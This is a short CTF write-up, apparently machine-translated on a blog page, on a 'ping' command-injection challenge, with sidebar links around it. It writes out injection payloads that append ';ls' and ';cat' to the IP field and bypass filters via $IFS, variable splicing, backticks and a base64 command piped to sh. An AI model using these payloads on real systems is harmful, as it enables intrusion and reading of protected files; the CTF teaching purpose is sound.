当前位置:网站首页>CTF introductory notes ping
CTF introductory notes ping
2022-08-02 04:02:00 【SevenCold】
1. Use the command line to find the flag file
Just ping, then follow ls
Example: 1;ls

found index.php file
1;catindex.php is the source website.
Then look up
1;ls …/
Keep looking up
until 1;ls …/…/…/
Find flag open
1;cat …/…/…/flag
Get flag
2. Bypass filtering to open files
Similarly, check the directory first
payload:?ip=1;ls
Found two files, try to open the index file directly (although I know it will definitely not work)
payload: ?ip=1;cat index.phpNo way
The next step is to bypass the flag filter Method 1: splicing flag Method 2: Inline execution bypass (ie ``) Using inline execution will use the output inside the `` as input to the previous command. Method three: base64 encoding bypass
Guess it may filter spaces, bypassThere are many ways to filter spaces,
%20, %09, $IFS 1 , 1,1, {IFS}, <>, payload: ?ip=1;cat$IFS$1index.php
Found a bunch of filters, which also includes flagpayload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a
You can see the flag in the website source codepayload:?ip=1;cat$IFS$1`ls`
You can also see the flag in the source codepayload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shY2F0IGZsYWcucGhw is the base64 encoding of cat flag.php
Ibid.Find the flag in the source code.
边栏推荐
- VIKINGS: 1 vulnhub walkthrough
- hackmyvm-bunny walkthrough
- 3. PHP data types, constants, strings and operators
- (5) Modules and packages, encoding formats, file operations, directory operations
- hackmyvm: juggling walkthrough
- (3) Thinkphp6 database
- [campo/random-user-agent] Randomly fake your User-Agent
- What will be new in PHP8.2?
- Stable and easy-to-use short connection generation platform, supporting API batch generation
- 2. PHP variables, output, EOF, conditional statements
猜你喜欢

Phonebook

hackmyvm-random walkthrough

hackmyvm: juggling walkthrough

PHP的几个有趣的打开方式:从基本到变态
![[league/climate] A robust command-line function manipulation library](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate] A robust command-line function manipulation library

一个网络安全小白鼠的学习之路—nmap高级用法之脚本使用

ES6 iterator explanation example

13.JS输出内容和语法

(5) Modules and packages, encoding formats, file operations, directory operations

ES6 three-dot operator, array method, string extension method
随机推荐
(3) Thinkphp6 database
Xiaoyao multi-open emulator ADB driver connection
利用cookie获取admin权限 CTF基础题
PHP的几个有趣的打开方式:从基本到变态
敏感信息泄露
hackmyvm: may walkthrough
Add a full image watermark to an image in PHP
Offensive and defensive world - novice MISC area 1-12
Warzone: 3 (Exogen) vulnhub walkthrough
命令执行漏洞
4.表单与输入
PHP有哪些杀手级超厉害框架或库或应用?
[trendsoft/capital]金额转中文大写库
16. JS events, string and operator
(5) 模块与包、编码格式、文件操作、目录操作
[symfony/mailer] An elegant and easy-to-use mail library
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
(8) requests, os, sys, re, _thread
Batch replace file fonts, Simplified -> Traditional
What are the PHP framework?